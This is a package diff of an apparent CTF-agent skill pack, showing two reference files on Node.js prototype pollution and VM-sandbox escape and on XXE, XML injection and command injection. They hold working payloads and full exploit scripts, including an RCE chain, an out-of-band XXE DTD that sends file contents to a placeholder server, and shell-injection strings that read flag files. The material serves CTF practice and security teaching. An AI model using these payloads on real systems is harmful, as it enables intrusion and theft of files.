ctf-agent 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (152) hide show
  1. package/AGENTS.md +131 -0
  2. package/Dockerfile +192 -0
  3. package/README.md +522 -0
  4. package/agents/ctf-analyzer.md +58 -0
  5. package/agents/ctf-controller.md +151 -0
  6. package/agents/ctf-speedrun.md +74 -0
  7. package/bin/ctf-agent.js +119 -0
  8. package/docker-compose.yml +13 -0
  9. package/mcp_config.json +19 -0
  10. package/package.json +44 -0
  11. package/references/ctf-triage-ladder.md +68 -0
  12. package/references/exploit-databases.md +575 -0
  13. package/references/llm-safety-and-policy-compliance.md +173 -0
  14. package/references/multi-agent-orchestration-and-policy-routing.md +278 -0
  15. package/references/security-events-and-intelligence.md +566 -0
  16. package/references/version-matrix.md +59 -0
  17. package/rules/ctf-execution-rules.md +44 -0
  18. package/rules/ctf-safety-framing-rules.md +140 -0
  19. package/rules/flag-validation-rules.md +25 -0
  20. package/scripts/__init__.py +1 -0
  21. package/scripts/ctf-tools.lock +205 -0
  22. package/scripts/ctf_init.py +1026 -0
  23. package/scripts/ctf_update.py +583 -0
  24. package/scripts/ctfd_client.py +81 -0
  25. package/scripts/cve_lookup.py +453 -0
  26. package/scripts/extract_flags.py +155 -0
  27. package/scripts/install_as_agent.py +278 -0
  28. package/scripts/install_ctf_tools.sh +603 -0
  29. package/scripts/parallel_triage.py +395 -0
  30. package/scripts/prompt_policy_sanitizer.py +283 -0
  31. package/scripts/scope_guard.py +444 -0
  32. package/scripts/skill_validator.py +504 -0
  33. package/scripts/workspace_cleaner.py +141 -0
  34. package/skills/ctf-ai-ml/SKILL.md +120 -0
  35. package/skills/ctf-ai-ml/adversarial-ml.md +623 -0
  36. package/skills/ctf-ai-ml/llm-attacks.md +487 -0
  37. package/skills/ctf-ai-ml/model-attacks.md +422 -0
  38. package/skills/ctf-crypto/SKILL.md +320 -0
  39. package/skills/ctf-crypto/advanced-math.md +798 -0
  40. package/skills/ctf-crypto/classic-ciphers.md +651 -0
  41. package/skills/ctf-crypto/ecc-attacks.md +347 -0
  42. package/skills/ctf-crypto/exotic-crypto-2.md +380 -0
  43. package/skills/ctf-crypto/exotic-crypto.md +528 -0
  44. package/skills/ctf-crypto/historical.md +113 -0
  45. package/skills/ctf-crypto/lattice-and-lwe.md +524 -0
  46. package/skills/ctf-crypto/modern-ciphers-2.md +563 -0
  47. package/skills/ctf-crypto/modern-ciphers-3.md +453 -0
  48. package/skills/ctf-crypto/modern-ciphers.md +649 -0
  49. package/skills/ctf-crypto/prng-attacks.md +257 -0
  50. package/skills/ctf-crypto/prng.md +664 -0
  51. package/skills/ctf-crypto/rsa-attacks-2.md +792 -0
  52. package/skills/ctf-crypto/rsa-attacks.md +487 -0
  53. package/skills/ctf-crypto/stream-ciphers.md +390 -0
  54. package/skills/ctf-crypto/zkp-and-advanced.md +456 -0
  55. package/skills/ctf-forensics/3d-printing.md +121 -0
  56. package/skills/ctf-forensics/SKILL.md +379 -0
  57. package/skills/ctf-forensics/disk-advanced.md +497 -0
  58. package/skills/ctf-forensics/disk-and-memory.md +491 -0
  59. package/skills/ctf-forensics/disk-recovery.md +699 -0
  60. package/skills/ctf-forensics/linux-forensics.md +511 -0
  61. package/skills/ctf-forensics/network-advanced.md +583 -0
  62. package/skills/ctf-forensics/network.md +645 -0
  63. package/skills/ctf-forensics/peripheral-capture.md +287 -0
  64. package/skills/ctf-forensics/signals-and-hardware.md +713 -0
  65. package/skills/ctf-forensics/steganography.md +694 -0
  66. package/skills/ctf-forensics/stego-advanced-2.md +475 -0
  67. package/skills/ctf-forensics/stego-advanced.md +481 -0
  68. package/skills/ctf-forensics/stego-image.md +691 -0
  69. package/skills/ctf-forensics/windows.md +625 -0
  70. package/skills/ctf-malware/SKILL.md +181 -0
  71. package/skills/ctf-malware/c2-and-protocols.md +274 -0
  72. package/skills/ctf-malware/pe-and-dotnet.md +108 -0
  73. package/skills/ctf-malware/scripts-and-obfuscation.md +449 -0
  74. package/skills/ctf-misc/SKILL.md +498 -0
  75. package/skills/ctf-misc/bashjails.md +323 -0
  76. package/skills/ctf-misc/ctfd-navigation.md +465 -0
  77. package/skills/ctf-misc/dns.md +255 -0
  78. package/skills/ctf-misc/encodings-advanced.md +504 -0
  79. package/skills/ctf-misc/encodings.md +431 -0
  80. package/skills/ctf-misc/games-and-vms-2.md +254 -0
  81. package/skills/ctf-misc/games-and-vms-3.md +690 -0
  82. package/skills/ctf-misc/games-and-vms-4.md +229 -0
  83. package/skills/ctf-misc/games-and-vms.md +529 -0
  84. package/skills/ctf-misc/linux-privesc.md +333 -0
  85. package/skills/ctf-misc/pyjails.md +671 -0
  86. package/skills/ctf-misc/rf-sdr.md +91 -0
  87. package/skills/ctf-osint/SKILL.md +198 -0
  88. package/skills/ctf-osint/geolocation-and-media.md +464 -0
  89. package/skills/ctf-osint/social-media.md +312 -0
  90. package/skills/ctf-osint/web-and-dns.md +341 -0
  91. package/skills/ctf-pwn/SKILL.md +214 -0
  92. package/skills/ctf-pwn/advanced-exploits-2.md +579 -0
  93. package/skills/ctf-pwn/advanced-exploits-3.md +598 -0
  94. package/skills/ctf-pwn/advanced-exploits-4.md +590 -0
  95. package/skills/ctf-pwn/advanced-exploits-5.md +119 -0
  96. package/skills/ctf-pwn/advanced-exploits.md +773 -0
  97. package/skills/ctf-pwn/advanced.md +326 -0
  98. package/skills/ctf-pwn/field-notes.md +245 -0
  99. package/skills/ctf-pwn/format-string.md +694 -0
  100. package/skills/ctf-pwn/heap-fsop.md +285 -0
  101. package/skills/ctf-pwn/heap-techniques-2.md +333 -0
  102. package/skills/ctf-pwn/heap-techniques.md +513 -0
  103. package/skills/ctf-pwn/kernel-bypass.md +421 -0
  104. package/skills/ctf-pwn/kernel-techniques.md +366 -0
  105. package/skills/ctf-pwn/kernel.md +636 -0
  106. package/skills/ctf-pwn/overflow-basics.md +611 -0
  107. package/skills/ctf-pwn/rop-advanced.md +725 -0
  108. package/skills/ctf-pwn/rop-and-shellcode.md +659 -0
  109. package/skills/ctf-pwn/sandbox-escape.md +313 -0
  110. package/skills/ctf-reverse/SKILL.md +163 -0
  111. package/skills/ctf-reverse/anti-analysis-ctf.md +204 -0
  112. package/skills/ctf-reverse/anti-analysis.md +693 -0
  113. package/skills/ctf-reverse/field-notes.md +376 -0
  114. package/skills/ctf-reverse/languages-compiled.md +666 -0
  115. package/skills/ctf-reverse/languages-platforms.md +592 -0
  116. package/skills/ctf-reverse/languages.md +553 -0
  117. package/skills/ctf-reverse/patterns-ctf-2.md +397 -0
  118. package/skills/ctf-reverse/patterns-ctf-3.md +797 -0
  119. package/skills/ctf-reverse/patterns-ctf.md +670 -0
  120. package/skills/ctf-reverse/patterns-runtime.md +274 -0
  121. package/skills/ctf-reverse/patterns.md +572 -0
  122. package/skills/ctf-reverse/platforms-hardware.md +387 -0
  123. package/skills/ctf-reverse/platforms.md +664 -0
  124. package/skills/ctf-reverse/tools-advanced-2.md +421 -0
  125. package/skills/ctf-reverse/tools-advanced.md +407 -0
  126. package/skills/ctf-reverse/tools-dynamic.md +679 -0
  127. package/skills/ctf-reverse/tools-emulation.md +319 -0
  128. package/skills/ctf-reverse/tools.md +573 -0
  129. package/skills/ctf-web/SKILL.md +153 -0
  130. package/skills/ctf-web/auth-and-access-2.md +82 -0
  131. package/skills/ctf-web/auth-and-access.md +783 -0
  132. package/skills/ctf-web/auth-infra.md +321 -0
  133. package/skills/ctf-web/auth-jwt.md +186 -0
  134. package/skills/ctf-web/client-side-advanced.md +739 -0
  135. package/skills/ctf-web/client-side.md +529 -0
  136. package/skills/ctf-web/cves.md +373 -0
  137. package/skills/ctf-web/field-notes.md +482 -0
  138. package/skills/ctf-web/node-and-prototype.md +200 -0
  139. package/skills/ctf-web/server-side-2.md +337 -0
  140. package/skills/ctf-web/server-side-advanced-2.md +559 -0
  141. package/skills/ctf-web/server-side-advanced-3.md +125 -0
  142. package/skills/ctf-web/server-side-advanced-4.md +480 -0
  143. package/skills/ctf-web/server-side-advanced.md +378 -0
  144. package/skills/ctf-web/server-side-deser.md +443 -0
  145. package/skills/ctf-web/server-side-exec-2.md +799 -0
  146. package/skills/ctf-web/server-side-exec.md +457 -0
  147. package/skills/ctf-web/server-side.md +629 -0
  148. package/skills/ctf-web/sql-injection.md +790 -0
  149. package/skills/ctf-web/web3.md +374 -0
  150. package/skills/ctf-writeup/SKILL.md +90 -0
  151. package/skills/solve-challenge/SKILL.md +269 -0
  152. package/skills.json +16 -0
@@ -0,0 +1,200 @@
1
+ # CTF Web - Node.js Prototype Pollution & VM Escape
2
+
3
+ ## Table of Contents
4
+ - [Prototype Pollution Basics](#prototype-pollution-basics)
5
+ - [Common Vectors](#common-vectors)
6
+ - [Known Vulnerable Libraries](#known-vulnerable-libraries)
7
+ - [flatnest Circular Reference Bypass (CVE-2023-26135)](#flatnest-circular-reference-bypass-cve-2023-26135)
8
+ - [Gadget: Library Settings via Prototype Chain](#gadget-library-settings-via-prototype-chain)
9
+ - [Node.js VM Sandbox Escape](#nodejs-vm-sandbox-escape)
10
+ - [ESM-Compatible Escape (CVE-2025-61927)](#esm-compatible-escape-cve-2025-61927)
11
+ - [CommonJS Escape](#commonjs-escape)
12
+ - [Why `document.write` Matters for Happy-DOM](#why-documentwrite-matters-for-happy-dom)
13
+ - [Full Chain: Prototype Pollution to VM Escape RCE (4llD4y)](#full-chain-prototype-pollution-to-vm-escape-rce-4lld4y)
14
+ - [Lodash Prototype Pollution to Pug AST Injection (VuwCTF 2025)](#lodash-prototype-pollution-to-pug-ast-injection-vuwctf-2025)
15
+ - [Affected Libraries](#affected-libraries)
16
+ - [Detection](#detection)
17
+
18
+ ---
19
+
20
+ ## Prototype Pollution Basics
21
+
22
+ JavaScript objects inherit from `Object.prototype`. Polluting it affects all objects:
23
+ ```javascript
24
+ Object.prototype.isAdmin = true;
25
+ const user = {};
26
+ console.log(user.isAdmin); // true
27
+ ```
28
+
29
+ ### Common Vectors
30
+ ```json
31
+ {"__proto__": {"isAdmin": true}}
32
+ {"constructor": {"prototype": {"isAdmin": true}}}
33
+ {"a.__proto__.isAdmin": true}
34
+ ```
35
+
36
+ ### Known Vulnerable Libraries
37
+ - `flatnest` (CVE-2023-26135) — `nest()` with circular reference bypass
38
+ - `merge`, `lodash.merge` (old versions), `deep-extend`, `qs` (old versions)
39
+
40
+ ---
41
+
42
+ ## flatnest Circular Reference Bypass (CVE-2023-26135)
43
+
44
+ **Vulnerability:** `insert()` blocks `__proto__`/`constructor`, but `seek()` (resolves `[Circular (path)]` values) has NO such checks.
45
+
46
+ **Code flow:**
47
+ 1. `nest(obj)` iterates keys
48
+ 2. Value matching `[Circular (path)]` → calls `seek(nested, path)`
49
+ 3. `seek()` freely traverses `constructor.prototype` → returns `Object.prototype`
50
+ 4. Subsequent keys write directly to `Object.prototype`
51
+
52
+ **Exploit:**
53
+ ```json
54
+ POST /config
55
+ {
56
+ "x": "[Circular (constructor.prototype)]",
57
+ "x.settings.enableJavaScriptEvaluation": true
58
+ }
59
+ ```
60
+
61
+ **Note:** 1.0.1 "fix" only guards `insert()`, not `seek()`. Completely unpatched.
62
+
63
+ ---
64
+
65
+ ## Gadget: Library Settings via Prototype Chain
66
+
67
+ **Pattern:** Library reads optional settings from options object. Caller doesn't provide settings → falls through to `Object.prototype`.
68
+
69
+ **Happy-DOM example (v20.x):**
70
+ ```javascript
71
+ // Window constructor:
72
+ constructor(options) {
73
+ const browser = new DetachedBrowser(BrowserWindow, {
74
+ settings: options?.settings // options = { console }, no own 'settings'
75
+ // With pollution: Object.prototype.settings = { enableJavaScriptEvaluation: true }
76
+ });
77
+ }
78
+ ```
79
+
80
+ ---
81
+
82
+ ## Node.js VM Sandbox Escape
83
+
84
+ **`vm` is NOT a security boundary.** Objects crossing the boundary maintain references to host context.
85
+
86
+ ### ESM-Compatible Escape (CVE-2025-61927)
87
+ ```javascript
88
+ const ForeignFunction = this.constructor.constructor;
89
+ const proc = ForeignFunction("return globalThis.process")();
90
+ const spawnSync = proc.binding("spawn_sync");
91
+ const result = spawnSync.spawn({
92
+ file: "/bin/sh",
93
+ args: ["/bin/sh", "-c", "cat /flag*"],
94
+ stdio: [
95
+ { type: "pipe", readable: true, writable: false },
96
+ { type: "pipe", readable: false, writable: true },
97
+ { type: "pipe", readable: false, writable: true }
98
+ ]
99
+ });
100
+ const output = Buffer.from(result.output[1]).toString();
101
+ ```
102
+
103
+ ### CommonJS Escape
104
+ ```javascript
105
+ const ForeignFunction = this.constructor.constructor;
106
+ const proc = ForeignFunction("return process")();
107
+ const result = proc.mainModule.require("child_process").execSync("id").toString();
108
+ ```
109
+
110
+ ### Why `document.write` Matters for Happy-DOM
111
+ `document.write()` creates parser with `evaluateScripts: true` → scripts are NOT marked with `disableEvaluation`. Only remaining check is `browserSettings.enableJavaScriptEvaluation` (bypassed via pollution).
112
+
113
+ ---
114
+
115
+ ## Full Chain: Prototype Pollution to VM Escape RCE (4llD4y)
116
+
117
+ **Architecture:**
118
+ 1. Pollute `Object.prototype.settings` to enable JS eval in Happy-DOM
119
+ 2. Submit HTML with `<script>` via `document.write()` (which sets `evaluateScripts: true`)
120
+ 3. Script executes in VM, escapes via `this.constructor.constructor`, gets RCE
121
+
122
+ **Complete exploit:**
123
+ ```python
124
+ import requests
125
+ TARGET = "http://target:3000"
126
+
127
+ # Step 1: Pollution via flatnest circular reference
128
+ pollution = {
129
+ "x": "[Circular (constructor.prototype)]",
130
+ "x.settings.enableJavaScriptEvaluation": True,
131
+ "x.settings.suppressInsecureJavaScriptEnvironmentWarning": True
132
+ }
133
+ requests.post(f"{TARGET}/config", json=pollution)
134
+
135
+ # Step 2: RCE via VM escape in rendered HTML
136
+ rce_script = """
137
+ const F = this.constructor.constructor;
138
+ const proc = F("return globalThis.process")();
139
+ const s = proc.binding("spawn_sync");
140
+ const r = s.spawn({
141
+ file: "/bin/sh", args: ["/bin/sh", "-c", "cat /flag*"],
142
+ stdio: [{type:"pipe",readable:true,writable:false},
143
+ {type:"pipe",readable:false,writable:true},
144
+ {type:"pipe",readable:false,writable:true}]
145
+ });
146
+ document.title = Buffer.from(r.output[1]).toString();
147
+ """
148
+ r = requests.post(f"{TARGET}/render", json={"html": f"<script>{rce_script}</script>"})
149
+ print(r.text.split("<title>")[1].split("</title>")[0])
150
+ ```
151
+
152
+ ---
153
+
154
+ ---
155
+
156
+ ## Lodash Prototype Pollution to Pug AST Injection (VuwCTF 2025)
157
+
158
+ **Vulnerable:** Lodash < 4.17.5 `_.merge()` allows prototype pollution via `constructor.prototype`.
159
+
160
+ **Pug template engine gadget:** Pug looks up `block` property on AST nodes. If a node doesn't have its own `block`, JS traverses the prototype chain → finds polluted `Object.prototype.block`.
161
+
162
+ **Payload:**
163
+ ```json
164
+ {
165
+ "constructor": {
166
+ "prototype": {
167
+ "block": {
168
+ "type": "Text",
169
+ "line": "1;pug_html+=global.process.mainModule.require('fs').readFileSync('/app/flag.txt').toString();//",
170
+ "val": "x"
171
+ }
172
+ }
173
+ },
174
+ "word": "exploit"
175
+ }
176
+ ```
177
+
178
+ **Delivery:** Base64-encode the JSON, send as `?data=<encoded>`.
179
+
180
+ **How it works:**
181
+ 1. `_.merge()` on user input sets `Object.prototype.block` to malicious AST node
182
+ 2. Pug template compilation checks `node.block` on every node
183
+ 3. Nodes without own `block` inherit from prototype → finds injected Text node
184
+ 4. `type: "Text"` with `line:` payload injects code during template compilation
185
+ 5. Code executes server-side, reads flag
186
+
187
+ **Detection:** `lodash` < 4.17.5 in `package.json` + Pug/Jade template engine.
188
+
189
+ ---
190
+
191
+ ## Affected Libraries
192
+ - **happy-dom** < 20.0.0 (JS eval enabled by default), 20.x+ (if re-enabled via pollution)
193
+ - **vm2** (deprecated)
194
+ - **realms-shim**
195
+ - **lodash** < 4.17.5 (`_.merge()` prototype pollution)
196
+
197
+ ## Detection
198
+ - `flatnest` in `package.json` + endpoints calling `nest()` on user input
199
+ - `happy-dom` or `jsdom` rendering user-controlled HTML
200
+ - Any `vm.runInContext`, `vm.Script` usage
@@ -0,0 +1,337 @@
1
+ # CTF Web - XXE, XML Injection, Command Injection, GraphQL
2
+
3
+ XXE payloads, XML injection, PHP variable-variable tricks, sequential regex bypasses, command injection, and GraphQL exploitation. For core server-side injection (PHP type juggling, file inclusion, SSTI, SSRF), see [server-side.md](server-side.md).
4
+
5
+ ## Table of Contents
6
+ - [XXE (XML External Entity)](#xxe-xml-external-entity)
7
+ - [Basic XXE](#basic-xxe)
8
+ - [OOB XXE with External DTD](#oob-xxe-with-external-dtd)
9
+ - [XXE via DOCX/Office XML Upload (School CTF 2016)](#xxe-via-docxoffice-xml-upload-school-ctf-2016)
10
+ - [SVG XXE via svglib to PNG Pipeline (P.W.N. CTF 2018)](#svg-xxe-via-svglib-to-png-pipeline-pwn-ctf-2018)
11
+ - [XML Injection via X-Forwarded-For Header (Pwn2Win 2016)](#xml-injection-via-x-forwarded-for-header-pwn2win-2016)
12
+ - [PHP Variable Variables ($$var) Abuse (bugs_bunny 2017)](#php-variable-variables-var-abuse-bugs_bunny-2017)
13
+ - [PHP uniqid() Predictable Filename (EKOPARTY 2017)](#php-uniqid-predictable-filename-ekoparty-2017)
14
+ - [Sequential Regex Replacement Bypass (Tokyo Westerns 2017)](#sequential-regex-replacement-bypass-tokyo-westerns-2017)
15
+ - [Command Injection](#command-injection)
16
+ - [Newline Bypass](#newline-bypass)
17
+ - [Incomplete Blocklist Bypass](#incomplete-blocklist-bypass)
18
+ - [Sendmail Parameter Injection via CGI (SECCON 2015)](#sendmail-parameter-injection-via-cgi-seccon-2015)
19
+ - [Multi-Barcode Concatenation to Shell Injection (BSidesSF 2024)](#multi-barcode-concatenation-to-shell-injection-bsidessf-2024)
20
+ - [Git CLI Newline Injection via URL Path (BSidesSF 2026)](#git-cli-newline-injection-via-url-path-bsidessf-2026)
21
+ - [GraphQL Injection and Exploitation (Hack.lu CTF 2020, HeroCTF v5)](#graphql-injection-and-exploitation-hacklu-ctf-2020-heroctf-v5)
22
+ - [Introspection and Schema Discovery](#introspection-and-schema-discovery)
23
+ - [Query Batching and Aliasing for Rate Limit Bypass](#query-batching-and-aliasing-for-rate-limit-bypass)
24
+ - [String Interpolation Injection](#string-interpolation-injection)
25
+
26
+ ---
27
+
28
+ ## XXE (XML External Entity)
29
+
30
+ ### Basic XXE
31
+ ```xml
32
+ <?xml version="1.0"?>
33
+ <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
34
+ <root>&xxe;</root>
35
+ ```
36
+
37
+ ### OOB XXE with External DTD
38
+ Host evil.dtd:
39
+ ```xml
40
+ <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/flag.txt">
41
+ <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'https://YOUR-SERVER/flag?b64=%file;'>">
42
+ %eval; %exfil;
43
+ ```
44
+
45
+ ### XXE via DOCX/Office XML Upload (School CTF 2016)
46
+
47
+ DOCX files are ZIP archives containing XML. Modify `[Content_Types].xml` inside the DOCX to inject XXE payloads that execute when the server parses the uploaded document.
48
+
49
+ ```bash
50
+ # Step 1: Create a minimal DOCX and extract it
51
+ mkdir docx_exploit && cd docx_exploit
52
+ unzip template.docx
53
+
54
+ # Step 2: Inject XXE into [Content_Types].xml
55
+ cat > '[Content_Types].xml' << 'EOF'
56
+ <?xml version="1.0" encoding="UTF-8"?>
57
+ <!DOCTYPE foo [
58
+ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/index.php">
59
+ ]>
60
+ <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
61
+ <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>
62
+ <Default Extension="xml" ContentType="application/xml"/>
63
+ <Override PartName="/word/document.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml"/>
64
+ <Override PartName="/hack" ContentType="&xxe;"/>
65
+ </Types>
66
+ EOF
67
+
68
+ # Step 3: Repackage as DOCX
69
+ zip -r exploit.docx '[Content_Types].xml' word/ _rels/
70
+
71
+ # Step 4: Upload to target
72
+ curl -F "file=@exploit.docx" http://target/upload
73
+ # Response or error message may contain base64-encoded file contents
74
+ ```
75
+
76
+ **Key insight:** Any file format based on ZIP+XML (DOCX, XLSX, PPTX, ODT, SVG+ZIP) can carry XXE payloads. The parser often processes `[Content_Types].xml` first, making it the ideal injection point. Use `php://filter/convert.base64-encode` for binary-safe exfiltration.
77
+
78
+ ### SVG XXE via svglib to PNG Pipeline (P.W.N. CTF 2018)
79
+
80
+ **Pattern:** A service converts user-uploaded SVG to PNG using `svglib` + `reportlab`. The SVG parser expands external entities before rasterising, so an XXE entity referenced inside a `<text>` element ends up *drawn* onto the PNG.
81
+
82
+ ```xml
83
+ <?xml version="1.0" standalone="no"?>
84
+ <!DOCTYPE foo [<!ENTITY dat SYSTEM "file:///opt/key.txt">]>
85
+ <svg xmlns="http://www.w3.org/2000/svg" width="200mm" height="10mm">
86
+ <text x="10" y="15" font-size="4" fill="red">&dat;</text>
87
+ </svg>
88
+ ```
89
+
90
+ The resulting PNG contains the flag rendered as visible text. Download the PNG and OCR/eyeball it.
91
+
92
+ **Key insight:** Any SVG-to-image converter chain (`svglib`, `cairosvg`, `rsvg-convert`, librsvg) resolves XXE entities at parse time, so file contents can be smuggled through the image channel. The content appears in pixels, not metadata — grep is useless; open the image.
93
+
94
+ **References:** P.W.N. CTF 2018 — SVG2PNG, writeup 12064
95
+
96
+ ---
97
+
98
+ ## XML Injection via X-Forwarded-For Header (Pwn2Win 2016)
99
+
100
+ Application builds XML from HTTP headers (e.g., `X-Forwarded-For`) without sanitization. First-tag-wins XML parsing allows injecting arbitrary elements:
101
+
102
+ ```http
103
+ X-Forwarded-For: 1.2.3.4</ip><admin>true</admin><ip>4.3.2.1
104
+ ```
105
+
106
+ Produces: `<session><ip>1.2.3.4</ip><admin>true</admin><ip>4.3.2.1</ip><admin>false</admin></session>` -- the XML parser takes the first `<admin>true</admin>`, ignoring the legitimate `<admin>false</admin>` that follows.
107
+
108
+ **Key insight:** XML injection via HTTP headers when server builds XML from header values without escaping. First-match semantics exploit duplicate tags. Check any header that appears in server responses or logs as structured data (`X-Forwarded-For`, `User-Agent`, `Referer`).
109
+
110
+ ---
111
+
112
+ ## PHP Variable Variables ($$var) Abuse (bugs_bunny 2017)
113
+
114
+ **Pattern:** PHP's variable variables (`$$key`) allow using a variable's value as the name of another variable. When a loop iterates over GET/POST parameters and assigns them as `$$key = $$value`, supplying `?_200=flag` captures `$flag`'s value into `$_200` before it gets overwritten.
115
+
116
+ ```php
117
+ // Vulnerable pattern: loop that processes GET parameters as variable aliases
118
+ foreach ($_GET as $key => $value) {
119
+ $$key = $$value; // e.g., key="_200", value="flag" → $_200 = $flag
120
+ }
121
+ // Later: echo $_200; // outputs the flag
122
+ ```
123
+
124
+ ```bash
125
+ # Supply a "safe" output variable name as key, protected variable name as value
126
+ curl "http://target/page.php?_200=flag"
127
+ # PHP executes: $_200 = $flag → flag is now in $_200 which gets echoed
128
+ ```
129
+
130
+ **How to find the output variable:** Look for variables beginning with HTTP status codes (e.g., `$_200`, `$_404`) in the source, or any variable echoed to output that starts with an underscore.
131
+
132
+ **Key insight:** `$$key` creates arbitrary variable aliases; iterating GET/POST params with `$$key = $$value` lets an attacker redirect protected variables (like `$flag`) into any output variable they control by naming the output variable as the key and the secret variable as the value.
133
+
134
+ ---
135
+
136
+ ## PHP uniqid() Predictable Filename (EKOPARTY 2017)
137
+
138
+ **Pattern:** PHP's `uniqid()` uses `gettimeofday()` internally. The first 8 hex characters encode the Unix timestamp in seconds, making filenames predictable within a bounded time window.
139
+
140
+ ```php
141
+ // Vulnerable: uses uniqid() to name an uploaded/generated file
142
+ $filename = uniqid() . '_flag.txt';
143
+ // e.g., "5a1b2c3d4e5f6_flag.txt" where first 8 chars = hex(unix_timestamp)
144
+ ```
145
+
146
+ ```python
147
+ import requests
148
+ import time
149
+
150
+ # Know approximate upload time (from server Date header, challenge hint, etc.)
151
+ start_ts = int(time.time()) - 60 # 60 second window before now
152
+ end_ts = int(time.time()) + 10
153
+
154
+ for ts in range(start_ts, end_ts):
155
+ hex_prefix = format(ts, '08x')
156
+ url = f'http://target/uploads/{hex_prefix}_flag.txt'
157
+ r = requests.get(url)
158
+ if r.status_code == 200:
159
+ print(f"Found: {url}")
160
+ print(r.text)
161
+ break
162
+ ```
163
+
164
+ **Narrowing the window:** The server's `Date` response header tells you the server's current time. Record it when triggering file creation; the timestamp in the filename will match that second.
165
+
166
+ **Key insight:** PHP `uniqid()` first 8 hex chars = Unix timestamp in seconds. The file is fully predictable within a known time window — brute-force is O(seconds in window), typically under 100 requests.
167
+
168
+ ---
169
+
170
+ ## Sequential Regex Replacement Bypass (Tokyo Westerns 2017)
171
+
172
+ **Pattern:** When a sanitizer applies regex replacements sequentially (not simultaneously), the first replacement can produce a substring that the second replacement should catch — but since the second replacement already ran (or the first runs after the second), the dangerous pattern survives.
173
+
174
+ ```php
175
+ // Vulnerable: replacements run in sequence on the same string
176
+ $input = preg_replace('/on\w+=\S+/', '', $input); // pass 1: strip event handlers
177
+ $input = preg_replace('/<script[^>]*>/', '', $input); // pass 2: strip script tags
178
+ ```
179
+
180
+ ```text
181
+ # Embed the dangerous tag inside the blocked pattern so removal reconstructs it:
182
+ # Input: <scr<script>ipt>
183
+ # Pass 2 strips inner <script> → leaves: <script>
184
+ # The outer "scr...ipt" scaffolding is reassembled after the inner match is removed.
185
+ ```
186
+
187
+ ```bash
188
+ # Practical bypass — embed the dangerous string inside the blocked string:
189
+ # If filter strips "script" then strips "on.*=":
190
+ curl "http://target/" --data 'input=<img sron=c onerror=alert(1)>'
191
+ # Pass 1 strips "onerror=" leaving <img src onerror=alert(1)> with partial strip
192
+ # Exact bypass depends on regex — test with variations like:
193
+ # <scr\x00ipt>, <scr ipt>, embed keyword inside itself
194
+ ```
195
+
196
+ **Key insight:** Sequential regex replacements let pass N reconstruct what pass M already checked. The first replacement produces a pattern the second was designed to catch, but because the second has already run (or the first runs last), the reconstructed dangerous pattern passes through. Always apply sanitization in a single idempotent pass or use a parser-based sanitizer.
197
+
198
+ ---
199
+
200
+ ## Command Injection
201
+
202
+ ### Newline Bypass
203
+ ```bash
204
+ curl -X POST http://target/ --data-urlencode "target=127.0.0.1
205
+ cat flag.txt"
206
+ curl -X POST http://target/ -d "ip=127.0.0.1%0acat%20flag.txt"
207
+ ```
208
+
209
+ ### Incomplete Blocklist Bypass
210
+ When cat/head/less blocked: `sed -n p flag.txt`, `awk '{print}'`, `tac flag.txt`
211
+ Common missed: `;` semicolons, backticks, `$()` substitution
212
+
213
+ ### Sendmail Parameter Injection via CGI (SECCON 2015)
214
+
215
+ When CGI scripts pass user input to `sendmail` via `open()` pipe:
216
+
217
+ ```perl
218
+ open(SH, "|/usr/sbin/sendmail -bm '$user_input'");
219
+ ```
220
+
221
+ Inject shell commands by breaking out of the quoted context:
222
+
223
+ ```bash
224
+ mail=' -bp|ls SECRETS #
225
+ mail=' -bp|cat SECRETS/backdoor123.php #
226
+ ```
227
+
228
+ The `-bp` flag forces sendmail into queue-print mode (non-interactive), and `|` pipes to shell. Discovery chain: find `.cgi_bak` backup files to read source → identify injection point → execute commands.
229
+
230
+ ### Multi-Barcode Concatenation to Shell Injection (BSidesSF 2024)
231
+
232
+ When a service processes images containing barcodes (via zbar/zxing), multiple barcodes in one image get concatenated into a single string. Exploit by combining a valid barcode with a malicious Code128 barcode:
233
+
234
+ 1. **Create valid barcode:** Generate UPC/EAN-13 barcode that passes type validation
235
+ 2. **Create injection barcode:** Generate Code128 barcode containing shell metacharacters:
236
+ ```text
237
+ test", "node": "hi'; cat /flag > /tmp/out; #
238
+ ```
239
+ 3. **Combine into single image:** `montage valid.png malicious.png -tile 2x1 combined.png`
240
+ 4. **Upload:** Scanner reads both barcodes, concatenates values, and passes to a system() call or JSON parser
241
+
242
+ ```bash
243
+ # Generate Code128 barcode with injection payload
244
+ python3 -c "
245
+ import barcode
246
+ from barcode.writer import ImageWriter
247
+ code = barcode.get('code128', 'test\", \"node\": \"x\x27; cat /flag >&5; #', writer=ImageWriter())
248
+ code.save('inject')
249
+ "
250
+ # Combine with valid UPC barcode
251
+ montage valid_upc.png inject.png -tile 2x1 -geometry +0+0 payload.png
252
+ ```
253
+
254
+ **Key insight:** Barcode libraries process ALL detected barcodes in an image. Type validation (e.g., "must be UPC") may only check the first barcode, while concatenated output from all barcodes flows into downstream processing. This is analogous to HTTP parameter pollution but for visual data.
255
+
256
+ ### Git CLI Newline Injection via URL Path (BSidesSF 2026)
257
+
258
+ **Pattern (gitfab):** A web-based repository viewer shells out to git CLI using backticks: `` `git show "#{path}"` ``. The application sanitizes shell metacharacters (`<`, `>`, `|`, `;`, `&`) but allows newlines. URL-encoded newline (`%0a`) in the path parameter breaks out of the git command and injects arbitrary shell commands.
259
+
260
+ ```text
261
+ GET /file/test%22%0acat%20/home/ctf/flag.txt%0aecho%20%22 HTTP/1.1
262
+ ```
263
+
264
+ Decoded, this becomes:
265
+ ```bash
266
+ git show "test"
267
+ cat /home/ctf/flag.txt
268
+ echo ""
269
+ ```
270
+
271
+ ```ruby
272
+ require 'httparty'
273
+
274
+ # URL-encode newline injection
275
+ path = 'test"%0acat /home/ctf/flag.txt%0aecho "'
276
+ response = HTTParty.get("http://target/file/#{URI.encode_www_form_component(path)}")
277
+ puts response.body
278
+ ```
279
+
280
